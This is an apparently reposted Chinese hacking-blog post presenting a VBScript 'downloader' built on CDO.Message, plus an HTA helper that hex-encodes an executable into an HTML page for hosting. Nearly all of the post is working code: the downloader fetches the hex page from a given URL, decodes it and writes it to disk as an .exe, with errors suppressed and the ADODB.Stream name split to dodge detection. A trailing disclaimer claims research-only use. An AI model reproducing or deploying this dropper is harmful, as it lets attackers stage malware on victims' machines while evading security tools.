作者：lcx
vbs下载者有很多了，我这里是一个伟大的发明，利用CDO.Message做的vbs下载者。伟大是装B的意思。
NP先把代码写完了，详情看这里：http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html
由于NP写的不知什么原因，在我机器上执行后生成的exe，进程不会自动退出，我重新更新一下。
＝＝＝＝＝＝＝用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。＝＝＝＝＝＝＝
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>package file v0.1</title> <meta http-equiv="Content-Type" content="text/html; charset=GB2312"> <HTA:APPLICATION ID="package file v0.1" APPLICATIONNAME="package file v0.1" VERSION="0.1" SCROLL="no" INNERBORDER="no" CONTEXTMENU="yes" CAPTION="yes" ICON="no" SHOWINTASKBAR="yes" SINGLEINSTANCE="yes" SYSMENU="yes" MAXIMIZEBUTTON ="no" WINDOWSTATE="normal" NAVIGABLE="yes" /> <SCRIPT LANGUAGE="VBScript"> function transfert() dim filename filename = document.getElementById("srcFile").value if len(filename)>0 then dim oReq 'on error resume next '//创建XMLHTTP对象 set oReq = CreateObject("MSXML2.XMLHTTP") oReq.open "get","file://" & filename,false oReq.send ff = oReq.responseBody dim u,s,kk u = lenb(ff) redim kk(u-1) for i=0 to u-1 s = hex(ascb(midb(ff,i+1,1))) if len(s)<2 then s = "0" & s end if 'kk = kk & s kk(i) = s next make filename,join(kk,"") else document.getElementById("srcFile").focus msgbox "请选择要压缩的文件",16,"提示" end if end function function make(filename,data) dim htm,file file = mid(filename,instrrev(filename,"/")+1) htm = htm & data dim fso,f dim this_file this_file = file & "-pf.htm" Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(this_file, 2, True) f.Write htm msgbox "生成文件" & this_file & "成功！",64,"生成" end function </SCRIPT> </head> <body marginleft=0 marginright=0 onload="window.resizeTo 389,145 "> 请选择文件：<input type=file id="srcFile" style="width:260px;"><br><br> <input type=button value=" 转换 " onclick="transfert"> <input type=button value=" 关闭 " onclick="window.close"> </body> </html>=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上，用NP写的那个下载生成的htm也可以，代码更少＝＝＝＝＝＝＝＝＝
'//保存文件 function saveFile(filename,str) set adodbStream = CreateObject("ADODB" & "." & "Stream") adodbStream.Type= 1 adodbStream.Open adodbStream.write str adodbStream.SaveToFile filename,2 adodbStream.Close end function '//VB数组转变成二进制格式 Function MultiByteToBinary(MultiByte) Dim RS, LMultiByte, Binary Const adLongVarBinary = 205 Set RS = CreateObject("ADODB.Recordset") LMultiByte = LenB(MultiByte) If LMultiByte>0 Then RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte RS.Open RS.AddNew RS("mBinary").AppendChunk MultiByte & ChrB(0) RS.Update Binary = RS("mBinary").GetChunk(LMultiByte) End If MultiByteToBinary = Binary End Function function exec() '//屏蔽错误 on error resume Next Set args = WScript.Arguments if args.Count = 0 then WScript.Echo "Usage: CScript down.vbs url c:/1.exe" WScript.Quit 1 end If dim data,t,kk,filename,ss Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody args.Item(0) ,31 'Mail1.CreateMHTMLBody "c:/xxx/lcx.exe-pf.htm",31 ss= Mail1.HTMLBody Set Mail1=nothing '//得到数据 data = ss '//得到文件名 filename = args.Item(1) '//得到数据长度 u = len(data) '//获得文件数组 for i=1 to u step 2 t = mid(data,i,2) kk = kk & ChrB(clng("&H" & t)) next '//转变成二进制格式 dataArry = MultiByteToBinary(kk) '//保存文件 saveFile filename,dataArry end function exec()免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论